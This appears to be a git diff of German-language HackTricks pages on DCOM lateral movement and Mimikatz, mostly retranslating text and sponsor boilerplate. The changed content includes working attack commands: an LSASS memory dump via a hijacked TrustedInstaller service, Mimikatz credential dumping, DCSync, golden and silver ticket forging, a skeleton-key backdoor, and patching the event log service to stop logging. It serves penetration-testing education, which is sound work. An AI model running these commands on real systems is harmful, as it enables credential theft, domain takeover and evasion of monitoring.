<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
|
||||
* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks beworben sehen**? oder möchten Sie Zugriff auf die **neueste Version des PEASS oder HackTricks im PDF-Format** haben? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das** [**HackTricks-Repository**](https://github.com/carlospolop/hacktricks) **und das** [**HackTricks-Cloud-Repository**](https://github.com/carlospolop/hacktricks-cloud) **senden**.
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,19 @@
|
|||
# DCOM Exec
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Null bis Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Arbeiten Sie in einem **Cybersecurity-Unternehmen**? Möchten Sie, dass Ihr **Unternehmen in HackTricks beworben wird**? Oder möchten Sie Zugang zur **neueste Version von PEASS oder HackTricks im PDF-Format herunterladen**? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Entdecken Sie [**Die PEASS-Familie**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Holen Sie sich die [**offiziellen PEASS & HackTricks Merchandise**](https://peass.creator-spring.com)
|
||||
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das** [**hacktricks-Repo**](https://github.com/carlospolop/hacktricks) **und** [**hacktricks-cloud-Repo**](https://github.com/carlospolop/hacktricks-cloud) **einreichen**.
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
|
@ -24,7 +27,7 @@
|
|||
|
||||
**Für weitere Informationen zu dieser Technik überprüfen Sie den Originalbeitrag von [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)**
|
||||
|
||||
Das Distributed Component Object Model (DCOM) bietet eine interessante Möglichkeit für netzwerkbasierte Interaktionen mit Objekten. Microsoft stellt umfassende Dokumentation sowohl für DCOM als auch für das Component Object Model (COM) zur Verfügung, die [hier für DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) und [hier für COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx) zugänglich ist. Eine Liste von DCOM-Anwendungen kann mit dem PowerShell-Befehl abgerufen werden:
|
||||
Das Distributed Component Object Model (DCOM) bietet eine interessante Möglichkeit für netzwerkbasierte Interaktionen mit Objekten. Microsoft bietet umfassende Dokumentation sowohl für DCOM als auch für das Component Object Model (COM), die [hier für DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) und [hier für COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx) zugänglich ist. Eine Liste von DCOM-Anwendungen kann mit dem PowerShell-Befehl abgerufen werden:
|
||||
```bash
|
||||
Get-CimInstance Win32_DCOMApplication
|
||||
```
|
||||
|
@ -59,7 +62,7 @@ Das **MMC20.Application**-Objekt wurde als mangelhaft in Bezug auf explizite "La
|
|||
Zwei spezifische Objekte, `ShellBrowserWindow` und `ShellWindows`, wurden aufgrund ihres Fehlens an expliziten Launch Permissions hervorgehoben. Das Fehlen eines `LaunchPermission`-Registry-Eintrags unter `HKCR:\AppID\{guid}` bedeutet, dass keine expliziten Berechtigungen vorhanden sind.
|
||||
|
||||
### ShellWindows
|
||||
Für `ShellWindows`, das keinen ProgID hat, ermöglichen die .NET-Methoden `Type.GetTypeFromCLSID` und `Activator.CreateInstance` die Instanziierung des Objekts unter Verwendung seiner AppID. Dieser Prozess nutzt OleView .NET, um die CLSID für `ShellWindows` abzurufen. Nach der Instanziierung ist die Interaktion über die Methode `WindowsShell.Item` möglich, was zu Methodenaufrufen wie `Document.Application.ShellExecute` führt.
|
||||
Für `ShellWindows`, das keinen ProgID hat, erleichtern die .NET-Methoden `Type.GetTypeFromCLSID` und `Activator.CreateInstance` die Objektinstanziierung mithilfe seiner AppID. Dieser Prozess nutzt OleView .NET, um die CLSID für `ShellWindows` abzurufen. Nach der Instanziierung ist die Interaktion über die Methode `WindowsShell.Item` möglich, was zu Methodenaufrufen wie `Document.Application.ShellExecute` führt.
|
||||
|
||||
Beispiel-PowerShell-Befehle wurden bereitgestellt, um das Objekt zu instanziieren und Befehle remote auszuführen:
|
||||
```powershell
|
||||
|
@ -133,7 +136,7 @@ Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos sendest.
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,102 +1,105 @@
|
|||
# Mimikatz
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks bewerben**? Oder möchten Sie Zugriff auf die **neueste Version von PEASS oder HackTricks im PDF-Format** haben? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks Merchandise**](https://peass.creator-spring.com)
|
||||
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **und das** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **senden**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Diese Seite basiert auf einer Seite von [adsecurity.org](https://adsecurity.org/?page\_id=1821)**. Überprüfen Sie das Original für weitere Informationen!
|
||||
**Diese Seite basiert auf einer von [adsecurity.org](https://adsecurity.org/?page\_id=1821)**. Überprüfen Sie das Original für weitere Informationen!
|
||||
|
||||
## LM- und Klartext im Speicher
|
||||
## LM und Klartext im Speicher
|
||||
|
||||
Ab Windows 8.1 und Windows Server 2012 R2 wurden erhebliche Maßnahmen ergriffen, um sich gegen das Diebstahl von Anmeldeinformationen zu schützen:
|
||||
Seit Windows 8.1 und Windows Server 2012 R2 wurden erhebliche Maßnahmen ergriffen, um gegen den Diebstahl von Anmeldeinformationen zu schützen:
|
||||
|
||||
- **LM-Hashes und Klartextpasswörter** werden nicht mehr im Speicher gespeichert, um die Sicherheit zu erhöhen. Eine spezifische Registrierungseinstellung, _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential"_, muss mit einem DWORD-Wert von `0` konfiguriert werden, um die Digest-Authentifizierung zu deaktivieren und sicherzustellen, dass "Klartext" -Passwörter nicht im LSASS zwischengespeichert werden.
|
||||
- **LM-Hashes und Klartext-Passwörter** werden nicht mehr im Speicher gespeichert, um die Sicherheit zu erhöhen. Eine spezifische Registrierungseinstellung, _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential"_ muss mit einem DWORD-Wert von `0` konfiguriert werden, um die Digest-Authentifizierung zu deaktivieren und sicherzustellen, dass "Klartext"-Passwörter nicht in LSASS zwischengespeichert werden.
|
||||
|
||||
- **LSA-Schutz** wird eingeführt, um den Local Security Authority (LSA)-Prozess vor unbefugtem Speicherlesen und Codeinjektion zu schützen. Dies wird erreicht, indem der LSASS als geschützter Prozess markiert wird. Die Aktivierung des LSA-Schutzes umfasst:
|
||||
1. Ändern der Registrierung unter _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa_, indem `RunAsPPL` auf `dword:00000001` gesetzt wird.
|
||||
2. Implementierung eines Gruppenrichtlinienobjekts (GPO), das diese Registrierungsänderung auf verwalteten Geräten erzwingt.
|
||||
- **LSA-Schutz** wird eingeführt, um den Local Security Authority (LSA)-Prozess vor unbefugtem Lesen des Speichers und Code-Injektionen zu schützen. Dies wird erreicht, indem LSASS als geschützter Prozess markiert wird. Die Aktivierung des LSA-Schutzes umfasst:
|
||||
1. Ändern der Registrierung unter _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa_ durch Setzen von `RunAsPPL` auf `dword:00000001`.
|
||||
2. Implementierung eines Gruppenrichtlinienobjekts (GPO), das diese Registrierungänderung auf verwalteten Geräten durchsetzt.
|
||||
|
||||
Trotz dieser Schutzmaßnahmen können Tools wie Mimikatz den LSA-Schutz mithilfe spezifischer Treiber umgehen, obwohl solche Aktionen wahrscheinlich in Ereignisprotokollen aufgezeichnet werden.
|
||||
Trotz dieser Schutzmaßnahmen können Tools wie Mimikatz den LSA-Schutz mit spezifischen Treibern umgehen, obwohl solche Aktionen wahrscheinlich in den Ereignisprotokollen aufgezeichnet werden.
|
||||
|
||||
### Gegenmaßnahmen zur Entfernung von SeDebugPrivilege
|
||||
|
||||
Administratoren haben in der Regel SeDebugPrivilege, um Programme zu debuggen. Dieses Privileg kann eingeschränkt werden, um unbefugte Speicherabbilder zu verhindern, eine häufig von Angreifern verwendete Technik, um Anmeldeinformationen aus dem Speicher zu extrahieren. Selbst wenn dieses Privileg entfernt wird, kann das TrustedInstaller-Konto weiterhin Speicherabbilder mithilfe einer angepassten Dienstkonfiguration erstellen:
|
||||
Administratoren haben typischerweise SeDebugPrivilege, das es ihnen ermöglicht, Programme zu debuggen. Dieses Privileg kann eingeschränkt werden, um unbefugte Speicherauszüge zu verhindern, eine gängige Technik, die von Angreifern verwendet wird, um Anmeldeinformationen aus dem Speicher zu extrahieren. Selbst wenn dieses Privileg entfernt wird, kann das TrustedInstaller-Konto jedoch weiterhin Speicherauszüge mit einer angepassten Dienstkonfiguration durchführen:
|
||||
```bash
|
||||
sc config TrustedInstaller binPath= "C:\\Users\\Public\\procdump64.exe -accepteula -ma lsass.exe C:\\Users\\Public\\lsass.dmp"
|
||||
sc start TrustedInstaller
|
||||
```
|
||||
Dies ermöglicht das Dumpen des Speichers von `lsass.exe` in eine Datei, die dann auf einem anderen System analysiert werden kann, um Anmeldeinformationen zu extrahieren:
|
||||
Dies ermöglicht das Dumpen des `lsass.exe`-Speichers in eine Datei, die dann auf einem anderen System analysiert werden kann, um Anmeldeinformationen zu extrahieren:
|
||||
```
|
||||
# privilege::debug
|
||||
# sekurlsa::minidump lsass.dmp
|
||||
# sekurlsa::logonpasswords
|
||||
```
|
||||
## Mimikatz-Optionen
|
||||
## Mimikatz Optionen
|
||||
|
||||
Die Manipulation von Ereignisprotokollen in Mimikatz umfasst zwei Hauptaktionen: das Löschen von Ereignisprotokollen und das Patchen des Ereignisdienstes, um das Protokollieren neuer Ereignisse zu verhindern. Im Folgenden finden Sie die Befehle für diese Aktionen:
|
||||
Das Manipulieren von Ereignisprotokollen in Mimikatz umfasst zwei Hauptaktionen: das Löschen von Ereignisprotokollen und das Patchen des Ereignisdienstes, um das Protokollieren neuer Ereignisse zu verhindern. Nachfolgend sind die Befehle für die Durchführung dieser Aktionen aufgeführt:
|
||||
|
||||
#### Löschen von Ereignisprotokollen
|
||||
|
||||
- **Befehl**: Diese Aktion zielt darauf ab, die Ereignisprotokolle zu löschen, um die Nachverfolgung von bösartigen Aktivitäten zu erschweren.
|
||||
- Mimikatz bietet in seiner Standarddokumentation keinen direkten Befehl zum direkten Löschen von Ereignisprotokollen über die Befehlszeile. Die Manipulation von Ereignisprotokollen beinhaltet jedoch in der Regel die Verwendung von Systemtools oder Skripten außerhalb von Mimikatz, um bestimmte Protokolle zu löschen (z. B. mit PowerShell oder dem Windows-Ereignisbetrachter).
|
||||
- **Befehl**: Diese Aktion zielt darauf ab, die Ereignisprotokolle zu löschen, um es schwieriger zu machen, böswillige Aktivitäten nachzuverfolgen.
|
||||
- Mimikatz bietet in seiner Standarddokumentation keinen direkten Befehl zum Löschen von Ereignisprotokollen über die Befehlszeile. Das Manipulieren von Ereignisprotokollen umfasst jedoch typischerweise die Verwendung von Systemtools oder Skripten außerhalb von Mimikatz, um spezifische Protokolle zu löschen (z. B. mit PowerShell oder dem Windows-Ereignisanzeiger).
|
||||
|
||||
#### Experimentelle Funktion: Patchen des Ereignisdienstes
|
||||
#### Experimentelles Feature: Patchen des Ereignisdienstes
|
||||
|
||||
- **Befehl**: `event::drop`
|
||||
- Dieser experimentelle Befehl ist darauf ausgelegt, das Verhalten des Ereignisprotokolldienstes zu ändern und so das Aufzeichnen neuer Ereignisse zu verhindern.
|
||||
- Dieser experimentelle Befehl ist darauf ausgelegt, das Verhalten des Ereignisprotokollierungsdienstes zu ändern, wodurch effektiv verhindert wird, dass neue Ereignisse aufgezeichnet werden.
|
||||
- Beispiel: `mimikatz "privilege::debug" "event::drop" exit`
|
||||
|
||||
- Der Befehl `privilege::debug` stellt sicher, dass Mimikatz mit den erforderlichen Berechtigungen zum Ändern von Systemdiensten arbeitet.
|
||||
- Der Befehl `event::drop` patcht dann den Ereignisprotokolldienst.
|
||||
- Der Befehl `privilege::debug` stellt sicher, dass Mimikatz mit den erforderlichen Berechtigungen arbeitet, um Systemdienste zu ändern.
|
||||
- Der Befehl `event::drop` patcht dann den Ereignisprotokollierungsdienst.
|
||||
|
||||
|
||||
### Kerberos-Ticket-Angriffe
|
||||
### Kerberos Ticket Angriffe
|
||||
|
||||
### Erstellung eines Golden Tickets
|
||||
### Golden Ticket Erstellung
|
||||
|
||||
Ein Golden Ticket ermöglicht die Impersonation von Zugriffen auf Domänenebene. Wichtige Befehle und Parameter:
|
||||
Ein Golden Ticket ermöglicht die impersonation mit domänenweiter Zugriffsberechtigung. Wichtiger Befehl und Parameter:
|
||||
|
||||
- Befehl: `kerberos::golden`
|
||||
- Parameter:
|
||||
- `/domain`: Der Domänenname.
|
||||
- `/sid`: Die Security Identifier (SID) der Domäne.
|
||||
- `/user`: Der Benutzername, der imitiert werden soll.
|
||||
- `/sid`: Der Sicherheitsbezeichner (SID) der Domäne.
|
||||
- `/user`: Der Benutzername, der impersoniert werden soll.
|
||||
- `/krbtgt`: Der NTLM-Hash des KDC-Dienstkontos der Domäne.
|
||||
- `/ptt`: Injiziert das Ticket direkt in den Speicher.
|
||||
- `/ticket`: Speichert das Ticket für die spätere Verwendung.
|
||||
- `/ptt`: Injektiert das Ticket direkt in den Speicher.
|
||||
- `/ticket`: Speichert das Ticket zur späteren Verwendung.
|
||||
|
||||
Beispiel:
|
||||
```bash
|
||||
mimikatz "kerberos::golden /user:admin /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /krbtgt:ntlmhash /ptt" exit
|
||||
```
|
||||
### Erstellung eines Silver Tickets
|
||||
### Silver Ticket Creation
|
||||
|
||||
Silver Tickets gewähren Zugriff auf bestimmte Dienste. Wichtige Befehle und Parameter:
|
||||
Silver Tickets gewähren Zugriff auf spezifische Dienste. Wichtiger Befehl und Parameter:
|
||||
|
||||
- Befehl: Ähnlich wie bei einem Golden Ticket, aber zielt auf bestimmte Dienste ab.
|
||||
- Befehl: Ähnlich wie Golden Ticket, zielt aber auf spezifische Dienste ab.
|
||||
- Parameter:
|
||||
- `/service`: Der zu zielende Dienst (z. B. cifs, http).
|
||||
- Andere Parameter ähnlich wie bei einem Golden Ticket.
|
||||
- `/service`: Der Dienst, der angegriffen werden soll (z.B. cifs, http).
|
||||
- Andere Parameter ähnlich wie bei Golden Ticket.
|
||||
|
||||
Beispiel:
|
||||
```bash
|
||||
mimikatz "kerberos::golden /user:user /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /target:service.example.com /service:cifs /rc4:ntlmhash /ptt" exit
|
||||
```
|
||||
### Trust Ticket Erstellung
|
||||
### Trust Ticket Creation
|
||||
|
||||
Trust Tickets werden verwendet, um auf Ressourcen in verschiedenen Domänen zuzugreifen, indem Vertrauensbeziehungen ausgenutzt werden. Wichtige Befehle und Parameter:
|
||||
Trust Tickets werden verwendet, um auf Ressourcen über Domänen hinweg zuzugreifen, indem Vertrauensverhältnisse genutzt werden. Wichtiger Befehl und Parameter:
|
||||
|
||||
- Befehl: Ähnlich wie ein Golden Ticket, jedoch für Vertrauensbeziehungen.
|
||||
- Befehl: Ähnlich wie Golden Ticket, aber für Vertrauensverhältnisse.
|
||||
- Parameter:
|
||||
- `/target`: Der vollqualifizierte Domänenname (FQDN) der Ziel-Domäne.
|
||||
- `/target`: Der FQDN der Ziel-Domäne.
|
||||
- `/rc4`: Der NTLM-Hash für das Vertrauenskonto.
|
||||
|
||||
Beispiel:
|
||||
|
@ -105,7 +108,7 @@ mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123
|
|||
```
|
||||
### Zusätzliche Kerberos-Befehle
|
||||
|
||||
- **Auflisten von Tickets**:
|
||||
- **Tickets auflisten**:
|
||||
- Befehl: `kerberos::list`
|
||||
- Listet alle Kerberos-Tickets für die aktuelle Benutzersitzung auf.
|
||||
|
||||
|
@ -122,89 +125,91 @@ mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123
|
|||
- **Tickets löschen**:
|
||||
- Befehl: `kerberos::purge`
|
||||
- Löscht alle Kerberos-Tickets aus der Sitzung.
|
||||
- Nützlich vor der Verwendung von Befehlen zur Ticketmanipulation, um Konflikte zu vermeiden.
|
||||
- Nützlich vor der Verwendung von Ticketmanipulationsbefehlen, um Konflikte zu vermeiden.
|
||||
|
||||
### Active Directory Manipulation
|
||||
|
||||
### Manipulation von Active Directory
|
||||
|
||||
- **DCShadow**: Lässt eine Maschine vorübergehend als DC agieren, um AD-Objektmanipulationen durchzuführen.
|
||||
- **DCShadow**: Eine Maschine vorübergehend als DC für die AD-Objektmanipulation agieren lassen.
|
||||
- `mimikatz "lsadump::dcshadow /object:targetObject /attribute:attributeName /value:newValue" exit`
|
||||
|
||||
- **DCSync**: Ahmt einen DC nach, um Passwortdaten anzufordern.
|
||||
- **DCSync**: Einen DC nachahmen, um Passwortdaten anzufordern.
|
||||
- `mimikatz "lsadump::dcsync /user:targetUser /domain:targetDomain" exit`
|
||||
|
||||
### Zugriff auf Anmeldeinformationen
|
||||
|
||||
- **LSADUMP::LSA**: Extrahiert Anmeldeinformationen aus LSA.
|
||||
- **LSADUMP::LSA**: Anmeldeinformationen aus LSA extrahieren.
|
||||
- `mimikatz "lsadump::lsa /inject" exit`
|
||||
|
||||
- **LSADUMP::NetSync**: Gibt vor, ein DC zu sein, indem die Passwortdaten eines Computerkontos verwendet werden.
|
||||
- **LSADUMP::NetSync**: Einen DC mit den Passwortdaten eines Computer-Kontos nachahmen.
|
||||
- *Kein spezifischer Befehl für NetSync im ursprünglichen Kontext angegeben.*
|
||||
|
||||
- **LSADUMP::SAM**: Zugriff auf lokale SAM-Datenbank.
|
||||
- **LSADUMP::SAM**: Zugriff auf die lokale SAM-Datenbank.
|
||||
- `mimikatz "lsadump::sam" exit`
|
||||
|
||||
- **LSADUMP::Secrets**: Entschlüsselt im Registrierungsspeicher gespeicherte Secrets.
|
||||
- **LSADUMP::Secrets**: Geheimnisse entschlüsseln, die in der Registrierung gespeichert sind.
|
||||
- `mimikatz "lsadump::secrets" exit`
|
||||
|
||||
- **LSADUMP::SetNTLM**: Setzt einen neuen NTLM-Hash für einen Benutzer.
|
||||
- **LSADUMP::SetNTLM**: Einen neuen NTLM-Hash für einen Benutzer festlegen.
|
||||
- `mimikatz "lsadump::setntlm /user:targetUser /ntlm:newNtlmHash" exit`
|
||||
|
||||
- **LSADUMP::Trust**: Ruft Authentifizierungsinformationen für Vertrauensstellungen ab.
|
||||
- **LSADUMP::Trust**: Informationen zur Vertrauensauthentifizierung abrufen.
|
||||
- `mimikatz "lsadump::trust" exit`
|
||||
|
||||
### Sonstiges
|
||||
|
||||
- **MISC::Skeleton**: Injiziert eine Hintertür in LSASS auf einem DC.
|
||||
- **MISC::Skeleton**: Eine Hintertür in LSASS auf einem DC injizieren.
|
||||
- `mimikatz "privilege::debug" "misc::skeleton" exit`
|
||||
|
||||
### Privilege Escalation
|
||||
### Privilegieneskalation
|
||||
|
||||
- **PRIVILEGE::Backup**: Erwerben von Backup-Rechten.
|
||||
- **PRIVILEGE::Backup**: Backup-Rechte erwerben.
|
||||
- `mimikatz "privilege::backup" exit`
|
||||
|
||||
- **PRIVILEGE::Debug**: Erlangen von Debug-Privilegien.
|
||||
- **PRIVILEGE::Debug**: Debug-Rechte erhalten.
|
||||
- `mimikatz "privilege::debug" exit`
|
||||
|
||||
### Anmeldeinformationen auslesen
|
||||
### Anmeldeinformationen dumpen
|
||||
|
||||
- **SEKURLSA::LogonPasswords**: Zeigt Anmeldeinformationen für angemeldete Benutzer an.
|
||||
- **SEKURLSA::LogonPasswords**: Anmeldeinformationen für angemeldete Benutzer anzeigen.
|
||||
- `mimikatz "sekurlsa::logonpasswords" exit`
|
||||
|
||||
- **SEKURLSA::Tickets**: Extrahiert Kerberos-Tickets aus dem Speicher.
|
||||
- **SEKURLSA::Tickets**: Kerberos-Tickets aus dem Speicher extrahieren.
|
||||
- `mimikatz "sekurlsa::tickets /export" exit`
|
||||
|
||||
### Sid- und Token-Manipulation
|
||||
### SID- und Token-Manipulation
|
||||
|
||||
- **SID::add/modify**: Ändert SID und SIDHistory.
|
||||
- **SID::add/modify**: SID und SIDHistory ändern.
|
||||
- Hinzufügen: `mimikatz "sid::add /user:targetUser /sid:newSid" exit`
|
||||
- Ändern: *Kein spezifischer Befehl für Ändern im ursprünglichen Kontext angegeben.*
|
||||
- Ändern: *Kein spezifischer Befehl für die Änderung im ursprünglichen Kontext angegeben.*
|
||||
|
||||
- **TOKEN::Elevate**: Übernimmt Tokens.
|
||||
- **TOKEN::Elevate**: Tokens nachahmen.
|
||||
- `mimikatz "token::elevate /domainadmin" exit`
|
||||
|
||||
### Terminaldienste
|
||||
|
||||
- **TS::MultiRDP**: Erlaubt mehrere RDP-Sitzungen.
|
||||
- **TS::MultiRDP**: Mehrere RDP-Sitzungen zulassen.
|
||||
- `mimikatz "ts::multirdp" exit`
|
||||
|
||||
- **TS::Sessions**: Listet TS/RDP-Sitzungen auf.
|
||||
- **TS::Sessions**: TS/RDP-Sitzungen auflisten.
|
||||
- *Kein spezifischer Befehl für TS::Sessions im ursprünglichen Kontext angegeben.*
|
||||
|
||||
### Tresor
|
||||
### Vault
|
||||
|
||||
- Extrahiert Passwörter aus dem Windows-Tresor.
|
||||
- Passwörter aus dem Windows Vault extrahieren.
|
||||
- `mimikatz "vault::cred /patch" exit`
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie das Hacken von AWS von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks unterstützen</summary>
|
||||
|
||||
* Arbeiten Sie in einem **Cybersecurity-Unternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks bewerben**? Oder möchten Sie Zugriff auf die **neueste Version des PEASS oder HackTricks als PDF** haben? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
